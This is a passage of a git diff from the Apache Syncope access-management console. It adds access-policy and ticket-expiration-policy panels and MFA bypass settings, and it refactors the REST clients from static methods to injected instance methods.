00000000000..ec9e1c69fa2 --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.policies; + +import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.panels.AbstractModalPanel; +import org.apache.syncope.client.console.panels.BeanPanel; +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.pages.BaseWebPage; +import org.apache.syncope.common.lib.policy.AccessPolicyTO; +import org.apache.syncope.common.lib.types.PolicyType; +import org.apache.wicket.PageReference; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.model.IModel; +import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; + +public class AccessPolicyModalPanel extends AbstractModalPanel { + + private static final long serialVersionUID = -6446551344059681908L; + + @SpringBean + protected PolicyRestClient policyRestClient; + + protected final IModel model; + + public AccessPolicyModalPanel( + final BaseModal modal, + final IModel model, + final PageReference pageRef) { + + super(modal, pageRef); + this.model = model; + + add(new BeanPanel<>("bean", new PropertyModel<>(model, "conf"), pageRef).setRenderBodyOnly(true)); + } + + @Override + public void onSubmit(final AjaxRequestTarget target) { + try { + policyRestClient.update(PolicyType.ACCESS, model.getObject()); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + modal.close(target); + } catch (Exception e) { + LOG.error("While updating Access Policy {}", model.getObject().getKey(), e); + SyncopeConsoleSession.get().onException(e); + } + ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); + } +} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyDirectoryPanel.java index bb37ab5e59c..c1bf416bf21 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyDirectoryPanel.java @@ -40,13 +40,17 @@ public class AttrReleasePolicyDirectoryPanel extends PolicyDirectoryPanel(PolicyType.ATTR_RELEASE, defaultItem, modal, pageRef), true); + new PolicyModalPanelBuilder<>(PolicyType.ATTR_RELEASE, defaultItem, modal, restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); initResultTable(); @@ -69,7 +73,7 @@ protected void addCustomActions( @Override public void onClick(final AjaxRequestTarget target, final AttrReleasePolicyTO ignore) { - model.setObject(PolicyRestClient.read(type, model.getObject().getKey())); + model.setObject(restClient.read(type, model.getObject().getKey())); if (model.getObject().getConf() == null) { model.getObject().setConf(new DefaultAttrReleasePolicyConf()); } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.java index fcc98316b40..2995d794ca8 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AttrReleasePolicyModalPanel.java @@ -30,8 +30,9 @@ import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxGridFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; @@ -44,22 +45,29 @@ import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class AttrReleasePolicyModalPanel extends AbstractModalPanel { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 2668291404983623500L; - private final IModel> allAttrRepos = new LoadableDetachableModel<>() { + @SpringBean + protected PolicyRestClient policyRestClient; + + @SpringBean + protected AttrRepoRestClient attrRepoRestClient; + + protected final IModel> allAttrRepos = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected List load() { - return AttrRepoRestClient.list().stream().map(AttrRepoTO::getKey).sorted().collect(Collectors.toList()); + return attrRepoRestClient.list().stream().map(AttrRepoTO::getKey).sorted().collect(Collectors.toList()); } }; - private final IModel model; + protected final IModel model; public AttrReleasePolicyModalPanel( final BaseModal modal, @@ -69,6 +77,10 @@ public AttrReleasePolicyModalPanel( super(modal, pageRef); this.model = model; + add(new AjaxGridFieldPanel<>( + "releaseAttrs", "releaseAttrs", + new PropertyModel<>(model.getObject().getConf(), "releaseAttrs"))); + AjaxTextFieldPanel allowedAttr = new AjaxTextFieldPanel("panel", "allowedAttrs", new Model<>()); add(new MultiFieldPanel.Builder( new PropertyModel<>(model.getObject().getConf(), "allowedAttrs")).build( @@ -108,7 +120,7 @@ public AttrReleasePolicyModalPanel( new PropertyModel<>(model.getObject().getConf(), "principalAttrRepoConf.ignoreResolvedAttributes"), false)); - add(new AjaxSpinnerFieldPanel.Builder().build( + add(new AjaxNumberFieldPanel.Builder().build( "expiration", "expiration", Long.class, @@ -131,7 +143,7 @@ public AttrReleasePolicyModalPanel( @Override public void onSubmit(final AjaxRequestTarget target) { try { - PolicyRestClient.update(PolicyType.ATTR_RELEASE, model.getObject()); + policyRestClient.update(PolicyType.ATTR_RELEASE, model.getObject()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); modal.close(target); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyDirectoryPanel.java index f3d51955f2a..7c720655703 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyDirectoryPanel.java @@ -35,13 +35,13 @@ public class AuthPolicyDirectoryPanel extends PolicyDirectoryPanel private static final long serialVersionUID = 4984337552918213290L; - public AuthPolicyDirectoryPanel(final String id, final PageReference pageRef) { - super(id, PolicyType.AUTH, pageRef); + public AuthPolicyDirectoryPanel(final String id, final PolicyRestClient restClient, final PageReference pageRef) { + super(id, restClient, PolicyType.AUTH, pageRef); AuthPolicyTO defaultItem = new AuthPolicyTO(); this.addNewItemPanelBuilder( - new PolicyModalPanelBuilder<>(PolicyType.AUTH, defaultItem, modal, pageRef), true); + new PolicyModalPanelBuilder<>(PolicyType.AUTH, defaultItem, modal, restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); initResultTable(); @@ -56,7 +56,7 @@ protected void addCustomActions(final ActionsPanel panel, final IM @Override public void onClick(final AjaxRequestTarget target, final AuthPolicyTO ignore) { - model.setObject(PolicyRestClient.read(type, model.getObject().getKey())); + model.setObject(restClient.read(type, model.getObject().getKey())); if (model.getObject().getConf() == null) { model.getObject().setConf(new DefaultAuthPolicyConf()); } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.java index 3f70f083637..d1bc313fd08 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AuthPolicyModalPanel.java @@ -28,6 +28,7 @@ import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.common.lib.policy.AuthPolicyTO; import org.apache.syncope.common.lib.to.AuthModuleTO; @@ -37,18 +38,25 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class AuthPolicyModalPanel extends AbstractModalPanel { private static final long serialVersionUID = -7210166323800567306L; - private final IModel> allAuthModules = new LoadableDetachableModel<>() { + @SpringBean + protected PolicyRestClient policyRestClient; + + @SpringBean + protected AuthModuleRestClient authModuleRestClient; + + protected final IModel> allAuthModules = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected List load() { - return AuthModuleRestClient.list().stream().map(AuthModuleTO::getKey).sorted().collect(Collectors.toList()); + return authModuleRestClient.list().stream().map(AuthModuleTO::getKey).sorted().collect(Collectors.toList()); } }; @@ -72,12 +80,36 @@ public AuthPolicyModalPanel( "authModules", new PropertyModel<>(model.getObject().getConf(), "authModules"), allAuthModules)); + + add(new AjaxCheckBoxPanel( + "bypassEnabled", + "bypassEnabled", + new PropertyModel<>(model.getObject().getConf(), "bypassEnabled"), + false)); + + add(new AjaxCheckBoxPanel( + "forceMfaExecution", + "forceMfaExecution", + new PropertyModel<>(model.getObject().getConf(), "forceMfaExecution"), + false)); + + add(new AjaxTextFieldPanel( + "bypassPrincipalAttributeName", + "bypassPrincipalAttributeName", + new PropertyModel<>(model.getObject().getConf(), "bypassPrincipalAttributeName"), + false)); + + add(new AjaxTextFieldPanel( + "bypassPrincipalAttributeValue", + "bypassPrincipalAttributeValue", + new PropertyModel<>(model.getObject().getConf(), "bypassPrincipalAttributeValue"), + false)); } @Override public void onSubmit(final AjaxRequestTarget target) { try { - PolicyRestClient.update(PolicyType.AUTH, model.getObject()); + policyRestClient.update(PolicyType.AUTH, model.getObject()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); modal.close(target); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/TicketExpirationPolicyDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/TicketExpirationPolicyDirectoryPanel.java new file mode 100644 index 00000000000..36e629fb77d --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/TicketExpirationPolicyDirectoryPanel.java @@ -0,0 +1,76 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.policies; + +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; +import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.lib.types.PolicyType; +import org.apache.wicket.PageReference; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; +import org.apache.wicket.model.IModel; +import org.apache.wicket.model.Model; + +public class TicketExpirationPolicyDirectoryPanel extends PolicyDirectoryPanel { + + private static final long serialVersionUID = 4984337552918213290L; + + public TicketExpirationPolicyDirectoryPanel( + final String id, + final PolicyRestClient restClient, + final PageReference pageRef) { + + super(id, restClient, PolicyType.TICKET_EXPIRATION, pageRef); + + TicketExpirationPolicyTO defaultItem = new TicketExpirationPolicyTO(); + + this.addNewItemPanelBuilder(new PolicyModalPanelBuilder<>( + PolicyType.TICKET_EXPIRATION, defaultItem, modal, restClient, pageRef), true); + MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); + + initResultTable(); + } + + @Override + protected void addCustomActions( + final ActionsPanel panel, + final IModel model) { + + panel.add(new ActionLink<>() { + + private static final long serialVersionUID = -3722207913631435501L; + + @Override + public void onClick(final AjaxRequestTarget target, final TicketExpirationPolicyTO ignore) { + model.setObject(restClient.read(type, model.getObject().getKey())); + if (model.getObject().getConf() == null) { + model.getObject().setConf(new DefaultTicketExpirationPolicyConf()); + } + target.add(policySpecModal.setContent( + new TicketExpirationPolicyModalPanel(policySpecModal, model, pageRef))); + policySpecModal.header(new Model<>(getString("ticketExpirationPolicyConf.title", model))); + policySpecModal.show(true); + } + }, ActionLink.ActionType.CHANGE_VIEW, IdRepoEntitlement.POLICY_UPDATE); + } +} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/TicketExpirationPolicyModalPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/TicketExpirationPolicyModalPanel.java new file mode 100644 index 00000000000..c62a3649406 --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/TicketExpirationPolicyModalPanel.java @@ -0,0 +1,112 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.policies; + +import java.io.Serializable; +import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.panels.AbstractModalPanel; +import org.apache.syncope.client.console.panels.BeanPanel; +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; +import org.apache.syncope.client.ui.commons.pages.BaseWebPage; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; +import org.apache.syncope.common.lib.types.PolicyType; +import org.apache.wicket.PageReference; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.model.IModel; +import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; + +public class TicketExpirationPolicyModalPanel extends AbstractModalPanel { + + private static final long serialVersionUID = 2668291404983623500L; + + @SpringBean + protected PolicyRestClient policyRestClient; + + protected final IModel model; + + public TicketExpirationPolicyModalPanel( + final BaseModal modal, + final IModel model, + final PageReference pageRef) { + + super(modal, pageRef); + this.model = model; + + conf("tgtConf", new DefaultTicketExpirationPolicyConf.TGTConf()); + conf("stConf", new DefaultTicketExpirationPolicyConf.STConf()); + conf("proxyTgtConf", new DefaultTicketExpirationPolicyConf.TGTConf()); + conf("proxyStConf", new DefaultTicketExpirationPolicyConf.STConf()); + } + + private void conf(final String field, final T newInstance) { + PropertyModel beanPanelModel = new PropertyModel<>(model.getObject(), "conf." + field); + + AjaxCheckBoxPanel enable = new AjaxCheckBoxPanel("enable." + field, "enable." + field, new IModel() { + + private static final long serialVersionUID = -7126718045816207110L; + + @Override + public Boolean getObject() { + return beanPanelModel.getObject() != null; + } + + @Override + public void setObject(final Boolean object) { + // nothing to do + } + }); + enable.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { + + private static final long serialVersionUID = -1107858522700306810L; + + @Override + protected void onUpdate(final AjaxRequestTarget target) { + if (beanPanelModel.getObject() == null) { + beanPanelModel.setObject(newInstance); + } else { + beanPanelModel.setObject(null); + } + target.add(TicketExpirationPolicyModalPanel.this); + } + }); + add(enable); + + add(new BeanPanel<>("bean." + field, beanPanelModel, pageRef).setRenderBodyOnly(true)); + } + + @Override + public void onSubmit(final AjaxRequestTarget target) { + try { + policyRestClient.update(PolicyType.TICKET_EXPIRATION, model.getObject()); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + modal.close(target); + } catch (Exception e) { + LOG.error("While updating Ticket Expiration Policy {}", model.getObject().getKey(), e); + SyncopeConsoleSession.get().onException(e); + } + ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); + } +} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AMSessionRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AMSessionRestClient.java index 99617194768..78fad08fb2e 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AMSessionRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AMSessionRestClient.java @@ -23,8 +23,8 @@ import java.util.List; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; -import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.lib.WebClientBuilder; import org.apache.syncope.client.ui.commons.rest.RestClient; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.AMSession; @@ -56,13 +56,13 @@ public void delete(final String key) { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Unknown); try { - Response response = WebClient.create( - getActuatorEndpoint(), + Response response = WebClientBuilder.build(getActuatorEndpoint(), SyncopeWebApplication.get().getAnonymousUser(), SyncopeWebApplication.get().getAnonymousKey(), - null). - path(key). - accept(MediaType.APPLICATION_JSON_TYPE).type(MediaType.APPLICATION_JSON_TYPE).delete(); + List.of()). + accept(MediaType.APPLICATION_JSON_TYPE). + type(MediaType.APPLICATION_JSON_TYPE). + path(key).delete(); if (response.getStatus() != Response.Status.OK.getStatusCode() && response.getStatus() != Response.Status.NO_CONTENT.getStatusCode()) { diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AttrRepoRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AttrRepoRestClient.java index 318c1e38ea8..f14b21883da 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AttrRepoRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AttrRepoRestClient.java @@ -26,23 +26,23 @@ public class AttrRepoRestClient extends BaseRestClient { private static final long serialVersionUID = -7379778542101161274L; - public static List list() { + public List list() { return getService(AttrRepoService.class).list(); } - public static void create(final AttrRepoTO attrRepoTO) { + public void create(final AttrRepoTO attrRepoTO) { getService(AttrRepoService.class).create(attrRepoTO); } - public static AttrRepoTO read(final String key) { + public AttrRepoTO read(final String key) { return getService(AttrRepoService.class).read(key); } - public static void update(final AttrRepoTO attrRepoTO) { + public void update(final AttrRepoTO attrRepoTO) { getService(AttrRepoService.class).update(attrRepoTO); } - public static void delete(final String key) { + public void delete(final String key) { getService(AttrRepoService.class).delete(key); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthModuleRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthModuleRestClient.java index 29cdcb18995..516e1c537fb 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthModuleRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthModuleRestClient.java @@ -26,23 +26,23 @@ public class AuthModuleRestClient extends BaseRestClient { private static final long serialVersionUID = -7379778542101161274L; - public static List list() { + public List list() { return getService(AuthModuleService.class).list(); } - public static void create(final AuthModuleTO authModuleTO) { + public void create(final AuthModuleTO authModuleTO) { getService(AuthModuleService.class).create(authModuleTO); } - public static AuthModuleTO read(final String key) { + public AuthModuleTO read(final String key) { return getService(AuthModuleService.class).read(key); } - public static void update(final AuthModuleTO authModuleTO) { + public void update(final AuthModuleTO authModuleTO) { getService(AuthModuleService.class).update(authModuleTO); } - public static void delete(final String key) { + public void delete(final String key) { getService(AuthModuleService.class).delete(key); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthProfileRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthProfileRestClient.java index d526783030c..92f858e026b 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthProfileRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/AuthProfileRestClient.java @@ -26,27 +26,23 @@ public class AuthProfileRestClient extends BaseRestClient { private static final long serialVersionUID = -7379778542101161274L; - public static int count() { + public int count() { return getService(AuthProfileService.class).list(1, 1).getTotalCount(); } - public static List list(final int page, final int size) { + public List list(final int page, final int size) { return getService(AuthProfileService.class).list(page, size).getResult(); } - public static AuthProfileTO read(final String key) { + public AuthProfileTO read(final String key) { return getService(AuthProfileService.class).read(key); } - public static void create(final AuthProfileTO authProfile) { - getService(AuthProfileService.class).create(authProfile); - } - - public static void update(final AuthProfileTO authProfile) { + public void update(final AuthProfileTO authProfile) { getService(AuthProfileService.class).update(authProfile); } - public static void delete(final String key) { + public void delete(final String key) { getService(AuthProfileService.class).delete(key); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/ClientAppRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/ClientAppRestClient.java index af861932360..56d7f725495 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/ClientAppRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/ClientAppRestClient.java @@ -29,9 +29,9 @@ public class ClientAppRestClient extends BaseRestClient { private static final long serialVersionUID = -1392090291817187902L; - private static final Comparator COMPARATOR = Comparator.comparing(ClientAppTO::getName); + protected static final Comparator COMPARATOR = Comparator.comparing(ClientAppTO::getName); - public static T read(final ClientAppType type, final String key) { + public T read(final ClientAppType type, final String key) { T policy = null; try { policy = getService(ClientAppService.class).read(type, key); @@ -42,7 +42,7 @@ public static T read(final ClientAppType type, final Str } @SuppressWarnings("unchecked") - public static List list(final ClientAppType type) { + public List list(final ClientAppType type) { try { return getService(ClientAppService.class).list(type).stream(). sorted(COMPARATOR). @@ -53,15 +53,15 @@ public static List list(final ClientAppType type) { } } - public static void create(final ClientAppType type, final T policy) { + public void create(final ClientAppType type, final T policy) { getService(ClientAppService.class).create(type, policy); } - public static void update(final ClientAppType type, final T policy) { + public void update(final ClientAppType type, final T policy) { getService(ClientAppService.class).update(type, policy); } - public static void delete(final ClientAppType type, final String key) { + public void delete(final ClientAppType type, final String key) { getService(ClientAppService.class).delete(type, key); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/OIDCJWKSRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/OIDCJWKSRestClient.java index 57c4e68ff27..a7abf44c8b1 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/OIDCJWKSRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/OIDCJWKSRestClient.java @@ -27,7 +27,7 @@ public class OIDCJWKSRestClient extends BaseRestClient { private static final long serialVersionUID = -1392090291817187902L; - public static AtomicReference get() { + public AtomicReference get() { AtomicReference result = new AtomicReference<>(); try { result.set(getService(OIDCJWKSService.class).get()); @@ -37,12 +37,12 @@ public static AtomicReference get() { return result; } - public static OIDCJWKSTO generate() { - Response response = getService(OIDCJWKSService.class).generate("syncope", "RSA", 2048); + public OIDCJWKSTO generate(final String jwksKeyId, final String jwksType, final int jwksKeySize) { + Response response = getService(OIDCJWKSService.class).generate(jwksKeyId, jwksType, jwksKeySize); return response.readEntity(OIDCJWKSTO.class); } - public static void delete() { + public void delete() { getService(OIDCJWKSService.class).delete(); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPEntityRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPEntityRestClient.java index 8f6ce3b90e5..8106fe41d22 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPEntityRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2IdPEntityRestClient.java @@ -27,15 +27,15 @@ public class SAML2IdPEntityRestClient extends BaseRestClient { private static final long serialVersionUID = -1392090291817187902L; - public static List list() { + public List list() { return getService(SAML2IdPEntityService.class).list().stream().collect(Collectors.toList()); } - public static SAML2IdPEntityTO get(final String key) { + public SAML2IdPEntityTO get(final String key) { return getService(SAML2IdPEntityService.class).get(key); } - public static void set(final SAML2IdPEntityTO entityTO) { + public void set(final SAML2IdPEntityTO entityTO) { getService(SAML2IdPEntityService.class).set(entityTO); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPEntityRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPEntityRestClient.java index 98b38229c40..552d81c2a99 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPEntityRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SAML2SPEntityRestClient.java @@ -27,19 +27,19 @@ public class SAML2SPEntityRestClient extends BaseRestClient { private static final long serialVersionUID = -1392090291817187902L; - public static List list() { + public List list() { return getService(SAML2SPEntityService.class).list().stream().collect(Collectors.toList()); } - public static SAML2SPEntityTO get(final String key) { + public SAML2SPEntityTO get(final String key) { return getService(SAML2SPEntityService.class).get(key); } - public static void set(final SAML2SPEntityTO entityTO) { + public void set(final SAML2SPEntityTO entityTO) { getService(SAML2SPEntityService.class).set(entityTO); } - public static void delete(final String key) { + public void delete(final String key) { getService(SAML2SPEntityService.class).delete(key); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRARouteRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRARouteRestClient.java index 47dfe63f16a..9504ad45706 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRARouteRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRARouteRestClient.java @@ -26,27 +26,27 @@ public class SRARouteRestClient extends BaseRestClient { private static final long serialVersionUID = -7379778542101161274L; - public static List list() { + public List list() { return getService(SRARouteService.class).list(); } - public static SRARouteTO read(final String key) { + public SRARouteTO read(final String key) { return getService(SRARouteService.class).read(key); } - public static void create(final SRARouteTO route) { + public void create(final SRARouteTO route) { getService(SRARouteService.class).create(route); } - public static void update(final SRARouteTO route) { + public void update(final SRARouteTO route) { getService(SRARouteService.class).update(route); } - public static void delete(final String key) { + public void delete(final String key) { getService(SRARouteService.class).delete(key); } - public static void push() { + public void push() { getService(SRARouteService.class).pushToSRA(); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRASessionRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRASessionRestClient.java index a45aa581ddf..a7f32c34738 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRASessionRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRASessionRestClient.java @@ -22,8 +22,8 @@ import javax.ws.rs.core.GenericType; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; -import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.lib.WebClientBuilder; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.AMSession; @@ -43,15 +43,10 @@ protected String getActuatorEndpoint() { @Override public List list() { try { - WebClient client = WebClient.create( - getActuatorEndpoint(), - JAX_RS_PROVIDERS, + Response response = WebClientBuilder.build(getActuatorEndpoint(), SyncopeWebApplication.get().getAnonymousUser(), SyncopeWebApplication.get().getAnonymousKey(), - null). - accept(MediaType.APPLICATION_JSON_TYPE); - - Response response = client.get(); + JAX_RS_PROVIDERS).accept(MediaType.APPLICATION_JSON_TYPE).get(); if (response.getStatus() == Response.Status.OK.getStatusCode()) { return response.readEntity(new GenericType<>() { }); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRAStatisticsRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRAStatisticsRestClient.java index a16b6fd5f06..4233ca26ac2 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRAStatisticsRestClient.java +++ 